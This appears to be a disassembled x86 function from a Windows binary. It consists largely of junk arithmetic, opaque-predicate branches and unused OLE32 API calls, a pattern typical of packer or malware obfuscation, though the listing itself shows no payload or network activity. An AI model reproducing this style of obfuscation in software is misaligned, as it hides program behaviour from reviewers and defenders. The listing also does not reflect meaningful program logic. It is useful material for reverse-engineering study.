mov word [ebp - 0x20b4], cx
mov edx, dword [ebp - 0x140c]
mov eax, dword [edx]
add eax, dword [ebp - 0x381c]
mov ecx, dword [ebp - 0x140c]
mov dword [ecx], eax
mov dword [ebp - 0x2150], 0x9219
mov edx, dword [ebp - 0x140c]
mov eax, dword [edx]
mov dword [ebp - 0x3a08], eax
cmp dword [ebp - 0x3a08], 0xd9812156
je 0x4044e1
jmp 0x404539
lea ecx, [ebp - 0x2b50]
push ecx
lea edx, [ebp - 0xb0c]
push edx
lea eax, [ebp - 0x930]
push eax
push 0x23
lea ecx, [ebp - 0x8c]
push ecx
call dword [sym.imp.ole32.dll_CoGetClassObject]
mov dword [ebp - 0x220c], eax
mov edx, dword [ebp - 0x3794]
mov eax, dword [ebp - 0x3168]
add eax, dword [edx]
mov ecx, dword [ebp - 0x31d0]
mov dword [ecx], eax
push 0x97
lea edx, [ebp - 0x2c20]
push edx
call dword [sym.imp.ole32.dll_CoTaskMemRealloc]
mov dword [ebp - 0x2b1c], eax
mov dword [ebp - 0x8c0], 0x3fa5
lea eax, [ebp - 0x2a4c]
mov dword [ebp - 0x186c], eax
mov ecx, dword [ebp - 0x7cc]
sub ecx, dword [ebp - 0x381c]
mov dword [ebp - 0x538], ecx
mov edx, dword [ebp - 0x38c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x1678]
movzx edx, byte [ecx]
mov ecx, dword [ebp - 0x1ec]
movzx ecx, byte [ecx]
sar edx, cl
cmp eax, edx
jl 0x4295c9
mov edx, dword [ebp - 0x38fc]
mov eax, dword [ebp - 0x2a4c]
add eax, dword [edx]
mov ecx, dword [ebp - 0x16fc]
sub ecx, dword [ebp - 0x3168]
cmp eax, ecx
jge 0x404688
mov edx, dword [ebp - 0x1bf8]
mov eax, dword [edx]
and eax, dword [ebp - 0x3580]
mov dword [ebp - 0x798], eax
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2ca4]
mov dword [ebp - 0x3a0c], ecx
cmp dword [ebp - 0x3a0c], 0x2e5285df
je 0x4045ea
jmp 0x40466f
mov edx, dword [ebp - 0x1bf8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x3794]
add eax, dword [ecx]
mov edx, dword [ebp - 0x186c]
mov dword [edx], eax
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x2094]
movzx eax, word [edx]
push eax
call section..text
movsx ecx, word [ebp - 0x35b8]
movsx edx, word [ebp - 0x60c]
or ecx, edx
mov word [ebp - 0x17e0], cx
movsx eax, byte [ebp - 0x1f4e]
movsx ecx, byte [ebp - 0x2569]
xor eax, ecx
mov edx, dword [ebp - 0x1d78]
mov byte [edx], al
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
mov dword [ebp - 0x14f8], eax
mov eax, dword [ebp - 0x1ec]
movzx edx, byte [eax]
movzx ecx, byte [ebp + 0xc]
sar edx, cl
mov eax, dword [ebp - 0x38c]
mov byte [eax], dl
jmp 0x404688
mov ecx, dword [ebp - 0x1b34]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x24a0]
shl edx, cl
mov word [ebp - 0x1650], dx
mov eax, dword [ebp - 0x22e0]
mov ecx, dword [ebp - 0x140c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x538], edx
lea eax, [ebp - 0x2ca4]
mov dword [ebp - 0x1d3c], eax
mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
and edx, ecx
movzx eax, byte [ebp - 0x3495]
mov ecx, dword [ebp - 0x1678]
movzx ecx, byte [ecx]
sub eax, ecx
cmp edx, eax
jg 0x42947a
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2569]
shl eax, cl
movsx edx, byte [ebp - 0x2aa6]
movsx ecx, byte [ebp - 0x1f4e]
sar edx, cl
cmp eax, edx
jle 0x404847
mov eax, dword [ebp - 0x718]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x17e0]
sub ecx, edx
movsx eax, word [ebp - 0x60c]
movsx edx, word [ebp - 0x35b8]
sub eax, edx
cmp ecx, eax
jge 0x404806
movzx eax, word [ebp + 8]
movzx ecx, word [ebp - 0x20b4]
or eax, ecx
mov edx, dword [ebp - 0x100]
mov word [edx], ax
mov eax, dword [ebp - 0x2a04]
movzx ecx, word [eax]
mov dword [ebp - 0x3a10], ecx
cmp dword [ebp - 0x3a10], 0x954
je 0x4047f0
cmp dword [ebp - 0x3a10], 0xa4a
je 0x404772
jmp 0x404806
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp + 0xc], dl
mov ecx, dword [ebp - 0x100]
movzx edx, word [ecx]
push edx
movzx eax, byte [ebp - 0x2569]
push eax
movzx ecx, word [ebp - 0x60c]
push ecx
mov dl, byte [ebp - 0x2521]
mov eax, dword [ebp - 0x26fc]
mov cl, byte [eax]
call fcn.00478870
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x7cc]
shl edx, cl
mov eax, dword [ebp - 0x22e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1d24]
mov edx, dword [ebp - 0x140c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x381c], eax
call dword [sym.imp.ole32.dll_CoGetCurrentProcess]
mov dword [ebp - 0x538], eax
jmp 0x404806
mov ecx, dword [ebp - 0x1bf8]
mov edx, dword [ecx]
and edx, dword [ebp - 0x16fc]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
lea ecx, [ebp - 0x418]
push ecx
lea edx, [ebp - 0x1af8]
push edx
push str.Parametrically_Nightclubs_polymorphism
lea eax, [ebp - 0x718]
push eax
call dword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [ebp - 0x287c], eax
movzx ecx, word [ebp - 0x2b50]
mov edx, dword [ebp - 0xc1c]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp + 8], cx
jmp 0x42930c
cmp dword [ebp - 0x20d4], 0x7ec4
jae 0x404c73
mov ecx, dword [ebp - 0x1bf8]
mov edx, dword [ebp - 0x31d0]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x1bf8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x2a04]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x20b4], ax
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x18ed]
add ecx, edx
mov eax, dword [ebp - 0x1678]
mov byte [eax], cl
mov ecx, dword [ebp - 0x140c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x381c]
mov eax, dword [ebp - 0x22e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp + 0xc], dl
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp + 0xc], dl
mov edx, dword [ebp - 0x22e0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x140c]
add eax, dword [ecx]
mov edx, dword [ebp - 0x22e0]
mov dword [edx], eax
movzx eax, word [ebp - 0x24a0]
movzx ecx, word [ebp + 8]
sar eax, cl
mov word [ebp - 0x1220], ax
mov ecx, dword [ebp - 0x38c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x18ed], dl
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2aa6]
shl eax, cl
mov ecx, dword [ebp - 0x1d78]
mov byte [ecx], al
mov edx, dword [ebp - 0x718]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x35b8]
or eax, ecx
mov edx, dword [ebp - 0x718]
mov word [edx], ax
mov eax, dword [ebp - 0x7cc]
and eax, dword [ebp - 0x538]
mov ecx, dword [ebp - 0x140c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2a4c]
sub edx, dword [ebp - 0x25c4]
mov dword [ebp - 0x798], edx
mov eax, dword [ebp - 0x1b34]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x2094]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x24a0], cx
movzx ecx, byte [ebp - 0x18ed]
movzx edx, byte [ebp - 0x2521]
sub ecx, edx
mov eax, dword [ebp - 0x1678]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ebp - 0x3168]
add edx, dword [ecx]
mov eax, dword [ebp - 0x186c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1d24]
mov edx, dword [ecx]
and edx, dword [ebp - 0x538]
mov eax, dword [ebp - 0x140c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1bf8]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x798]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
mov ecx, dword [ebp - 0x186c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x31d0]
add edx, dword [eax]
mov ecx, dword [ebp - 0x2260]
mov dword [ecx], edx
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
movzx ecx, word [ebp + 8]
sub eax, ecx
mov edx, dword [ebp - 0x2a04]
mov word [edx], ax
movzx eax, byte [ebp - 0x18ed]
mov ecx, dword [ebp - 0x1678]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x26fc]
mov byte [ecx], al
mov edx, dword [ebp - 0x1d24]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x7cc]
shl eax, cl
mov dword [ebp - 0x381c], eax
mov edx, dword [ebp - 0x2ca4]
mov ecx, dword [ebp - 0x25c4]
sar edx, cl
mov eax, dword [ebp - 0x31d0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1bf8]
mov edx, dword [ebp - 0x3168]
or edx, dword [ecx]
mov eax, dword [ebp - 0x31d0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3580]
xor ecx, dword [ebp - 0x2a4c]
mov edx, dword [ebp - 0x186c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1bf8]
mov ecx, dword [ebp - 0x3580]
and ecx, dword [eax]
mov edx, dword [ebp - 0x31d0]
mov dword [edx], ecx
movsx eax, word [ebp - 0x60c]
movsx ecx, word [ebp - 0x17e0]
add eax, ecx
mov edx, dword [ebp - 0x718]
mov word [edx], ax
mov eax, dword [ebp - 0x1d78]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x1f4e]
add ecx, edx
mov eax, dword [ebp - 0x1d78]
mov byte [eax], cl
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x18ed]
add edx, eax
mov ecx, dword [ebp - 0x26fc]
mov byte [ecx], dl
movzx edx, word [ebp - 0x2b50]
mov eax, dword [ebp - 0x2a04]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x1650], dx
mov edx, dword [ebp - 0x140c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x538]
mov ecx, dword [ebp - 0x140c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x22e0]
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x140c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x18ed]
sub ecx, edx
mov byte [ebp + 0xc], cl
movzx eax, word [ebp + 8]
movzx ecx, word [ebp - 0x1650]
add eax, ecx
mov edx, dword [ebp - 0x2a04]
mov word [edx], ax
mov eax, dword [ebp - 0x2260]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x798]
mov edx, dword [ebp - 0x38fc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x140c]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x7cc]
mov edx, dword [ebp - 0x140c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x25c4]
mov ecx, dword [ebp - 0x2ca4]
sar eax, cl
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x18ed]
movzx eax, byte [ebp - 0x2521]
xor edx, eax
mov byte [ebp + 0xc], dl
movzx edx, word [ebp - 0x1220]
mov eax, dword [ebp - 0xc1c]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x20b4], dx
mov ecx, dword [ebp - 0x1678]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x26fc]
mov byte [eax], dl
mov ecx, dword [ebp - 0x1d24]
mov edx, dword [ebp - 0x22e0]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x7cc], eax
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ebp - 0x38fc]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x1bf8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x20d4]
add edx, 0xee
mov dword [ebp - 0x20d4], edx
movsx eax, byte [ebp - 0x1f4e]
movsx ecx, byte [ebp - 0x2569]
add eax, ecx
mov edx, dword [ebp - 0x1d78]
mov byte [edx], al
mov eax, dword [ebp - 0x718]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x17e0]
add ecx, edx
mov eax, dword [ebp - 0x718]
mov word [eax], cx
jmp 0x404847
movzx ecx, word [ebp - 0x1650]
movzx edx, word [ebp - 0x2b50]
sub ecx, edx
mov word [ebp - 0x20b4], cx
movsx eax, word [ebp - 0x35b8]
mov dword [ebp - 0x3a14], eax
cmp dword [ebp - 0x3a14], 0xffffffff
je 0x404ca5
jmp 0x4291d7
mov ecx, dword [ebp - 0x718]
movsx edx, word [ecx]
mov dword [ebp - 0x3a18], edx
cmp dword [ebp - 0x3a18], 0x241e
je 0x404cd5
cmp dword [ebp - 0x3a18], 0x56fb
je 0x429058
jmp 0x429126
movsx eax, byte [ebp - 0x2aa6]
movsx ecx, byte [ebp - 0x1f4e]
sar eax, cl
mov byte [ebp - 0x2569], al
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x38c]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp + 0xc], dl
mov edx, dword [ebp - 0x1d3c]
mov eax, dword [ebp - 0x3580]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x2a4c], eax
mov ecx, dword [ebp - 0x1678]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x38c]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x3495], dl
movzx edx, word [ebp - 0x1220]
movzx eax, word [ebp + 8]
add edx, eax
mov ecx, dword [ebp - 0x100]
mov word [ecx], dx
mov edx, dword [ebp - 0x1d24]
mov eax, dword [ebp - 0x22e0]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x538], ecx
movzx edx, byte [ebp - 0x18ed]
movzx eax, byte [ebp - 0x2521]
sub edx, eax
mov byte [ebp + 0xc], dl
mov ecx, dword [ebp - 0x6e4]
sub ecx, 0x75
mov dword [ebp - 0x6e4], ecx
mov edx, dword [ebp - 0x25c4]
add edx, dword [ebp - 0x3580]
mov dword [ebp - 0x798], edx
mov eax, dword [ebp - 0x7cc]
add eax, dword [ebp - 0x381c]
mov ecx, dword [ebp - 0x140c]
mov dword [ecx], eax
movzx edx, word [ebp - 0x1650]
mov eax, dword [ebp - 0x2094]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x100]
mov word [eax], dx
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x1678]
mov byte [eax], dl
movzx ecx, byte [ebp - 0x18ed]
movzx edx, byte [ebp - 0x2521]
sub ecx, edx
mov byte [ebp + 0xc], cl
mov eax, dword [ebp - 0x2260]
mov ecx, dword [eax]
mov dword [ebp - 0x25c4], ecx
mov edx, dword [ebp - 0x140c]
mov eax, dword [edx]
add eax, dword [ebp - 0x538]
mov ecx, dword [ebp - 0x140c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38fc]
mov eax, dword [ebp - 0x1d3c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x2a4c], ecx
mov edx, dword [ebp - 0x2260]
mov eax, dword [edx]
xor eax, dword [ebp - 0x3580]
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x2aa6]
mov eax, dword [ebp - 0x1d78]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x2569], dl
mov edx, dword [ebp - 0x26fc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x18ed]
shl eax, cl
mov byte [ebp + 0xc], al
mov ecx, dword [ebp - 0x1b34]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x2b50]
sar edx, cl
mov eax, dword [ebp - 0x1b34]
mov word [eax], dx
movzx ecx, byte [ebp - 0x2521]
movzx edx, byte [ebp + 0xc]
and ecx, edx
mov byte [ebp - 0x18ed], cl
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x38c]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp + 0xc], cl
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x25c4]
mov eax, dword [ebp - 0x38fc]
mov dword [eax], edx
cmp dword [ebp - 0x6e4], 0x54f7
jae 0x404cd5
movzx ecx, word [ebp + 8]
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x2094]
mov word [edx], cx
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2521]
sub ecx, edx
mov byte [ebp - 0x18ed], cl
mov eax, dword [ebp - 0x22e0]
mov ecx, dword [ebp - 0x538]
add ecx, dword [eax]
mov dword [ebp - 0x381c], ecx
mov edx, dword [ebp - 0x3794]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2a4c]
mov ecx, dword [ebp - 0x186c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38fc]
mov eax, dword [edx]
add eax, dword [ebp - 0x25c4]
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
mov edx, dword [ebp - 0x538]
add edx, dword [ebp - 0x381c]
mov eax, dword [ebp - 0x22e0]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x3495]
movzx edx, byte [ebp - 0x18ed]
or ecx, edx
mov byte [ebp - 0x2521], cl
mov eax, dword [ebp - 0x2a04]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x2b50]
xor ecx, edx
mov word [ebp - 0x1650], cx
mov eax, dword [ebp - 0x31d0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2ca4]
sar edx, cl
mov eax, dword [ebp - 0x1d3c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x186c]
mov edx, dword [ebp - 0x2260]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x3580], eax
mov ecx, dword [ebp - 0x718]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x17e0]
and edx, eax
mov ecx, dword [ebp - 0x718]
mov word [ecx], dx
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2aa6]
add eax, ecx
mov edx, dword [ebp - 0x1d78]
mov byte [edx], al
movzx eax, byte [ebp - 0x2521]
movzx ecx, byte [ebp - 0x3495]
sub eax, ecx
mov byte [ebp + 0xc], al
movzx edx, word [ebp - 0x1650]
mov eax, dword [ebp - 0x2a04]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp + 8], dx
mov edx, dword [ebp - 0x538]
sub edx, dword [ebp - 0x381c]
mov dword [ebp - 0x7cc], edx
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [ebp - 0x381c]
and ecx, dword [eax]
mov edx, dword [ebp - 0x140c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2a4c]
sub eax, dword [ebp - 0x16fc]
mov dword [ebp - 0x3580], eax
mov ecx, dword [ebp - 0x3168]
add ecx, dword [ebp - 0x16fc]
mov edx, dword [ebp - 0x2260]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d4]
add eax, 0xfe
mov dword [ebp - 0x1d4], eax
mov ecx, dword [ebp - 0x25c4]
add ecx, dword [ebp - 0x3580]
mov edx, dword [ebp - 0x1d3c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2094]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xc1c]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x2094]
mov word [edx], cx
movzx eax, byte [ebp - 0x2521]
movzx ecx, byte [ebp - 0x18ed]
sar eax, cl
mov ecx, dword [ebp - 0x26fc]
mov byte [ecx], al
mov edx, dword [ebp - 0x1d24]
mov eax, dword [ebp - 0x381c]
or eax, dword [edx]
mov ecx, dword [ebp - 0x140c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3168]
xor edx, dword [ebp - 0x25c4]
mov eax, dword [ebp - 0x31d0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38fc]
mov edx, dword [ebp - 0x3168]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x1d3c]
mov dword [eax], edx
cmp dword [ebp - 0x1d4], 0x10a94
jne 0x404ed8
mov ecx, dword [ebp - 0x140c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x7cc]
mov eax, dword [ebp - 0x140c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x100]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x2a04]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0xc1c]
mov word [eax], dx
mov ecx, dword [ebp - 0x1678]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x18ed], dl
mov edx, dword [ebp - 0x1ec]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x38c]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp + 0xc], al
mov eax, dword [ebp - 0x1d78]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x1f4e]
add ecx, edx
mov eax, dword [ebp - 0x1d78]
mov byte [eax], cl
mov ecx, dword [ebp - 0x140c]
mov edx, dword [ebp - 0x538]
add edx, dword [ecx]
mov dword [ebp - 0x7cc], edx
mov eax, dword [ebp - 0x1d3c]
mov ecx, dword [ebp - 0x16fc]
and ecx, dword [eax]
mov dword [ebp - 0x798], ecx
movzx edx, word [ebp + 8]
movzx eax, word [ebp - 0x1650]
add edx, eax
mov ecx, dword [ebp - 0x2a04]
mov word [ecx], dx
mov edx, dword [ebp - 0x2150]
sub edx, 0x4b
mov dword [ebp - 0x2150], edx
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2521]
add ecx, edx
mov byte [ebp + 0xc], cl
movzx eax, byte [ebp - 0x3495]
movzx ecx, byte [ebp - 0x18ed]
sub eax, ecx
mov byte [ebp + 0xc], al
mov edx, dword [ebp - 0x7cc]
mov ecx, dword [ebp - 0x538]
shl edx, cl
mov eax, dword [ebp - 0x22e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x186c]
mov edx, dword [ebp - 0x38fc]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x1d3c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2260]
mov eax, dword [edx]
or eax, dword [ebp - 0x798]
mov ecx, dword [ebp - 0x186c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2521]
sar eax, cl
mov ecx, dword [ebp - 0x26fc]
mov byte [ecx], al
movzx edx, word [ebp + 8]
mov eax, dword [ebp - 0xc1c]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x20b4], dx
mov edx, dword [ebp - 0x1d24]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x22e0]
add eax, dword [ecx]
mov dword [ebp - 0x381c], eax
mov edx, dword [ebp - 0x31d0]
mov eax, dword [ebp - 0x2ca4]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x38fc]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x2521]
movzx eax, byte [ebp - 0x3495]
sub edx, eax
mov byte [ebp + 0xc], dl
mov ecx, dword [ebp - 0x1b34]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1220]
add edx, eax
mov word [ebp + 8], dx
mov ecx, dword [ebp - 0x38fc]
mov edx, dword [ebp - 0x2a4c]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
mov ecx, dword [ebp - 0x718]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x60c]
sub edx, eax
mov ecx, dword [ebp - 0x718]
mov word [ecx], dx
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2aa6]
and eax, ecx
mov byte [ebp - 0x1f4e], al
mov edx, dword [ebp - 0x38c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2521]
add eax, ecx
mov edx, dword [ebp - 0x38c]
mov byte [edx], al
mov eax, dword [ebp - 0x2a04]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1220]
xor ecx, edx
mov eax, dword [ebp - 0xc1c]
mov word [eax], cx
mov ecx, dword [ebp - 0x7cc]
or ecx, dword [ebp - 0x381c]
mov dword [ebp - 0x538], ecx
mov edx, dword [ebp - 0x1d24]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x7cc]
shl eax, cl
mov ecx, dword [ebp - 0x22e0]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x1678]
mov byte [ecx], dl
mov edx, dword [ebp - 0xc1c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x2094]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x100]
mov word [ecx], ax
mov edx, dword [ebp - 0x38fc]
mov eax, dword [ebp - 0x25c4]
and eax, dword [edx]
mov ecx, dword [ebp - 0x186c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x7cc]
sub edx, dword [ebp - 0x538]
mov eax, dword [ebp - 0x22e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1d3c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x798]
mov dword [ebp - 0x3168], edx
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x18ed]
sub ecx, edx
mov byte [ebp + 0xc], cl
movzx eax, word [ebp - 0x24a0]
movzx ecx, word [ebp + 8]
sub eax, ecx
mov edx, dword [ebp - 0x1b34]
mov word [edx], ax
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x26fc]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x3495], cl
mov ecx, dword [ebp - 0x140c]
mov edx, dword [ebp - 0x381c]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x22e0]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x18ed]
movzx edx, byte [ebp - 0x3495]
add ecx, edx
mov byte [ebp + 0xc], cl
movsx eax, byte [ebp - 0x1f4e]
movsx ecx, byte [ebp - 0x2aa6]
and eax, ecx
mov edx, dword [ebp - 0x1d78]
mov byte [edx], al
movsx eax, word [ebp - 0x17e0]
movsx ecx, word [ebp - 0x35b8]
or eax, ecx
mov edx, dword [ebp - 0x718]
mov word [edx], ax
mov eax, dword [ebp - 0x1ec]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x38c]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x18ed], dl
mov ecx, dword [ebp - 0x2a04]
movzx edx, word [ecx]
movzx ecx, word [ebp + 8]
shl edx, cl
mov word [ebp - 0x2b50], dx
mov eax, dword [ebp - 0x7cc]
xor eax, dword [ebp - 0x538]
mov ecx, dword [ebp - 0x1d24]
mov dword [ecx], eax
mov edx, dword [ebp - 0x31d0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x16fc]
mov ecx, dword [ebp - 0x2260]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2a4c]
add edx, dword [ebp - 0x798]
mov eax, dword [ebp - 0x186c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1d24]
mov edx, dword [ecx]
and edx, dword [ebp - 0x7cc]
mov dword [ebp - 0x381c], edx
mov eax, dword [ebp - 0x186c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x16fc]
mov edx, dword [ebp - 0x2260]
mov dword [edx], ecx
cmp dword [ebp - 0x2150], 0x8328
ja 0x405113
mov eax, dword [ebp - 0x100]
mov cx, word [eax]
mov word [ebp - 0x169c], cx
movsx edx, byte [ebp - 0x2569]
movsx eax, byte [ebp - 0x1f4e]
sub edx, eax
movsx ecx, byte [ebp - 0x2aa6]
mov eax, dword [ebp - 0x1d78]
movsx eax, byte [eax]
add ecx, eax
cmp edx, ecx
jle 0x4055b4
call fcn.0046d040
